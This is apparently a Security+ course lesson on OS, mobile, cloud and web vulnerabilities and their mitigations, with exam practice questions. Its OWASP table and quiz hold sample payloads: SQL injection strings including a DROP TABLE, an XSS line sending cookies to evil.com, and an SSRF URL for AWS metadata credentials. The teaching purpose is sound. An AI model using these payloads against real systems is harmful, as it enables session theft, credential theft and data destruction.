Lesson 4 of 12 — Vulnerabilities & Mitigation
OS, application, mobile, cloud, and web vulnerabilities — and the patching, hardening, segmentation, isolation, and access control strategies that neutralize them. The defender's core skill set.
Knowing what threat actors want (Lesson 3) means little if you cannot identify the weaknesses they exploit to get it. Vulnerabilities are the gaps — technical, operational, and architectural — that make systems exploitable. Every major breach in the past decade has ultimately been rooted in a vulnerability that was either unknown, unpatched, or misconfigured. The security professional's job is to find those gaps before the adversary does and close them through systematic mitigation.
This lesson builds the vocabulary and decision-making framework you need to perform that job. You will learn how vulnerabilities are classified across the attack surface — from kernel-level OS flaws to cloud storage misconfigurations to SQL injection in web apps — and how to recommend the right mitigation strategy for each. The skills in this lesson are directly tested in Security+ scenario questions where you must read a vulnerability description and select the correct countermeasure from a set of plausible options.
Kernel exploits, privilege escalation, buffer overflows, memory corruption, side-channel attacks, and mobile-specific weaknesses.
OS vulnerabilities include kernel flaws, privilege escalation, and unpatched services. Application flaws include buffer overflows, race conditions, and insecure defaults. Mobile adds sideloading risks, insecure storage, and over-privileged apps. CVSS guides prioritization.
Cloud misconfigurations, insecure APIs, excessive permissions, the OWASP Top 10, injection attacks, XSS, and SSRF.
Cloud breaches are dominated by misconfiguration (open S3 buckets, public snapshots, over-privileged IAM roles). Web application flaws include the OWASP Top 10: SQL injection, broken authentication, XSS, SSRF, and insecure deserialization. Each has distinct testing and mitigation patterns.
Patching, hardening, segmentation, isolation, and access control — building a layered defense that closes multiple vulnerability classes simultaneously.
No single mitigation closes all vulnerabilities. Effective defense layers patching (eliminate known flaws), hardening (reduce attack surface), segmentation (contain breaches), isolation (quarantine risk), and access control (limit blast radius) — each addressing different attack paths.
Run a simulated vulnerability scanner to detect and analyze OS-level and application-level weaknesses across six vulnerability categories.
Use a vulnerability scanner simulator to analyze: OS Privilege Escalation, Race Conditions, Buffer Overflows, Side-Channel Attacks, Unpatched Services, and Insecure Data Storage. Identify findings, interpret severity ratings, and document results.
Explore how patching, hardening, segmentation, isolation, and access control are implemented — then match each strategy to the vulnerability types it best addresses.
Explain how each mitigation strategy functions, describe how each is implemented, and match each strategy to the vulnerability types it best addresses. Build decision-making skills for real-world scenarios and exam questions.
Construct multi-layered mitigation strategies for complex threats, then build a data-driven remediation queue balancing CVSS severity, business impact, and exploitability.
For each threat scenario, construct layered mitigation strategies using multiple control categories. Then build a data-driven remediation queue that balances CVSS severity, business impact, and exploitability to justify your prioritization decisions.
Technical weaknesses in system software, applications, and mobile platforms — and how attackers exploit them
Vulnerabilities exist at every layer of the software stack. Security+ tests your ability to recognize them by name, understand their exploitation mechanics, and know which mitigation strategy eliminates or reduces each class of risk.
The Common Vulnerability Scoring System (CVSS) provides a standardized 0–10 score for every published vulnerability (CVE). Security teams use CVSS scores to prioritize patch deployment — but business context and exploitability-in-the-wild must also inform decisions.
Exam tip: CVSS score alone does not determine patch priority. A CVSS 7.0 vulnerability with active exploitation in the wild targeting your specific OS may be more urgent than a CVSS 9.8 with no known exploits. CISA's Known Exploited Vulnerabilities (KEV) catalog adds exploitability context.
An attacker with limited (unprivileged) access exploits a kernel flaw or misconfigured service to gain administrator/root privileges. Local privilege escalation (LPE) is the standard second step after initial access — the attacker lands as a low-privilege user, then escalates.
Systems running outdated OS versions or unpatched services expose known CVEs with published exploits. End-of-Life (EOL) systems (Windows Server 2008, Windows XP) no longer receive vendor patches — every future CVE is a permanent vulnerability on that system.
A race condition occurs when a program's behavior depends on the sequence or timing of uncontrollable events. Time-of-Check to Time-of-Use (TOCTOU) is a specific race condition where an attacker modifies a resource between when its permissions are checked and when it is actually used.
Attacks that extract information from a system's physical implementation — power consumption, electromagnetic emissions, cache timing, or acoustic signals — rather than exploiting software logic. Spectre and Meltdown (2018) exposed CPU architecture weaknesses that allowed cross-process memory reads via speculative execution timing.
A buffer overflow occurs when a program writes more data to a fixed-size memory buffer than it can hold, overwriting adjacent memory. An attacker can craft the overflow payload to overwrite the return address on the stack, redirecting execution to attacker-controlled shellcode.
Factory-set or vendor-default usernames and passwords (admin/admin, admin/password) left in place on deployed systems. Shodan and similar tools continuously scan the internet for devices with default credentials — thousands of devices are compromised this way daily.
Applications that return verbose error messages expose stack traces, database schemas, internal IP addresses, software versions, and file paths — all valuable for reconnaissance. Information disclosure turns a low-severity finding into a force multiplier for other attacks.
Modern applications incorporate dozens to hundreds of open-source dependencies. A vulnerability in any dependency affects every application that uses it — Log4Shell (CVE-2021-44228) demonstrated this catastrophically: the Log4j logging library was embedded in thousands of products and services worldwide, resulting in a CVSS 10.0 critical RCE vulnerability affecting enterprises globally.
Installing apps from outside the official App Store or Google Play bypasses vendor review processes. Sideloaded apps may contain trojans, spyware, or ransomware. Android's "Unknown Sources" permission enables sideloading; iOS requires jailbreaking.
Mobile apps that store sensitive data (credentials, session tokens, PII) in plaintext in SharedPreferences, SQLite databases, or SD card directories expose that data to other apps or physical access attacks. Backup files may also expose stored data.
Apps that request more permissions than necessary (camera, microphone, location, contacts, SMS) create unnecessary exposure. A malicious or compromised app with broad permissions becomes a surveillance tool. OWASP Mobile Top 10 consistently lists improper platform usage as a top risk.
Misconfigurations, insecure APIs, OWASP Top 10, and the modern web application attack surface
The cloud and web application attack surface has become the primary battleground in modern security. Gartner consistently reports that over 95% of cloud security failures are the customer's fault — not the provider's — driven almost entirely by misconfiguration. Web application vulnerabilities are the leading cause of data breaches in internet-facing systems.
The #1 cause of cloud breaches. Misconfiguration encompasses any incorrect or insecure cloud resource setting that exposes data or functionality to unauthorized access. The Shared Responsibility Model means the cloud provider secures the infrastructure, but the customer is responsible for configuring their resources securely.
Over-permissive IAM roles, inline policies granting AdministratorAccess to service accounts, and hard-coded API keys in source code or container images create massive attack surface. The principle of least privilege is systematically violated in most cloud environments due to the ease of granting broad permissions.
Cloud workloads expose APIs for integration. Unauthenticated or weakly authenticated APIs, APIs lacking rate limiting, and APIs with verbose error messages create significant attack surface. Serverless functions (Lambda, Azure Functions) can inherit overly permissive execution roles, and their event-driven nature creates injection risks through untrusted input sources.
Virtual machine escape vulnerabilities allow an attacker who has compromised a guest VM to break out to the hypervisor host, affecting all VMs on that host. Container security risks include privileged containers, containers running as root, shared kernel vulnerabilities (containers share the host OS kernel), and insecure container images with known CVEs.
The OWASP (Open Web Application Security Project) Top 10 is the authoritative reference for web application vulnerabilities. CompTIA Security+ SY0-701 directly tests several of these — you must know the attack mechanism, a concrete example, and the primary mitigation for each.
| Vulnerability | Attack Mechanism | Concrete Example | Primary Mitigation |
|---|---|---|---|
| Injection (SQL, OS, LDAP) | Untrusted user input is passed directly to an interpreter. Attacker injects commands that the interpreter executes with the application's privileges. | Login form: ' OR '1'='1 bypasses authentication; '; DROP TABLE users;-- destroys data | Parameterized queries (prepared statements), stored procedures, input validation, WAF |
| Broken Authentication | Weak session management, predictable session IDs, missing account lockout, or credential stuffing allows attackers to assume other users' identities. | Session fixation attack; JWT token with "alg:none" accepted by server; account with no MFA accessible via credential stuffing | MFA, strong session token generation, account lockout, secure cookie flags (HttpOnly, Secure, SameSite) |
| XSS (Cross-Site Scripting) | Attacker injects malicious client-side scripts into pages viewed by other users. Stored XSS persists in the database; Reflected XSS is returned in the response; DOM-based XSS modifies the DOM. | Forum post containing <script>document.location='https://evil.com/steal?c='+document.cookie</script> steals every visitor's session cookie | Output encoding/escaping, Content Security Policy (CSP), input validation, HttpOnly cookies |
| Insecure Direct Object Reference (IDOR) | Application exposes internal implementation objects (database keys, file paths) in URLs without verifying the requesting user is authorized to access that specific object. | Changing /invoice?id=1042 to /invoice?id=1043 returns another customer's invoice without authorization check | Server-side authorization checks on every request, indirect reference maps, access control testing |
| Security Misconfiguration | Default configurations, unnecessary features, verbose error messages, missing security headers, or open cloud storage expose sensitive data and functionality. | Admin panel accessible at /admin with default credentials; DEBUG=True in production Django app exposing source code; missing HSTS header | Hardening checklists, automated configuration scanning, remove unused features, security headers (HSTS, CSP, X-Frame-Options) |
| SSRF (Server-Side Request Forgery) | Attacker induces the server to make HTTP requests to internal resources or cloud metadata APIs. In cloud environments, SSRF can retrieve IAM credentials from the instance metadata service. | URL parameter url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ retrieves AWS IAM credentials from EC2 metadata service | Validate and allowlist server-side request destinations, disable metadata service or enforce IMDSv2, network egress controls |
Patching, hardening, segmentation, isolation, and access control — the defender's toolkit
Identifying vulnerabilities is only half the job. Mitigating them — systematically reducing exploitability and blast radius — is the other half. Security+ tests your ability to select the most appropriate mitigation for a described vulnerability. Understanding what each mitigation strategy does and does not do is essential for answering these questions correctly.
Patching directly eliminates known vulnerabilities by replacing vulnerable code with vendor-provided fixes. An effective patch management program includes:
Hardening reduces a system's attack surface by removing everything unnecessary. A hardened system has fewer entry points even when vulnerabilities exist in installed components.
netstat -tulnp — every listening port is a potential entry pointSegmentation divides the network into isolated zones, containing breaches and limiting an attacker's ability to move laterally after initial compromise. Without segmentation, a phishing compromise of a finance workstation gives the attacker a direct path to the database server.
Isolation goes beyond segmentation — it contains a specific system, process, or application so that any compromise cannot spread. Sandboxing is a form of isolation used to analyze suspicious files or run untrusted code in a contained environment.
Limiting what users and systems can access reduces the blast radius of any compromise. A workstation infected with ransomware that runs as a standard user account can only encrypt files that account has write access to — not the entire file server.
Many of the most severe web and application vulnerabilities (injection, XSS, buffer overflow) are fundamentally caused by trusting user-supplied input. Input validation is the primary preventive control for this entire class of vulnerabilities.
| Vulnerability Class | Primary Mitigation | Supporting Mitigation |
|---|---|---|
| Unpatched OS/App CVE | Patching | Network isolation (if patch unavailable), compensating controls |
| Default credentials / insecure defaults | Hardening (change defaults) | MFA, network ACLs to limit admin interface exposure |
| SQL Injection / XSS | Input validation / secure coding | WAF, CSP, parameterized queries |
| Lateral movement after breach | Network segmentation | Micro-segmentation, ZTNA, host-based firewall |
| Ransomware blast radius | Access control / least privilege | Segmentation, immutable backups, EDR |
| Cloud misconfiguration | Hardening (CSPM, CIS Benchmarks) | IaC security scanning, least-privilege IAM, audit logging |
| Malware analysis / suspicious file | Isolation / sandboxing | EDR behavioral detection, application whitelisting |
Match each vulnerability scenario to its primary mitigation strategy
Select a vulnerability to see its full risk profile, CVSS context, business impact, and recommended mitigation stack
Remote Code Execution vulnerability in the firm's payment processing API middleware. Unauthenticated — no credentials required. Public PoC exploit available on GitHub.
The customer portal login page does not sanitize user input. A malicious parameter allows authentication bypass and potential access to the customer database.
An AWS S3 bucket containing 18 months of customer account statements is configured for public read access. No sensitive data classified as PII has been confirmed exposed yet.
A developer IAM account has AdministratorAccess policy attached. The account is used for daily development work and is not subject to MFA enforcement.
Select the best answer for each question, then submit for graded feedback
' OR '1'='1 in the login field to bypass authentication. Which vulnerability class does this represent, and what is the PRIMARY code-level mitigation?AdministratorAccess policies attached. The instances only need to read objects from a specific S3 bucket. Which mitigation strategy MOST directly addresses this finding?http://169.254.169.254/latest/meta-data/iam/security-credentials/webapp-role and returns the result to the attacker. What type of vulnerability is this, and what specific risk does it create in a cloud environment?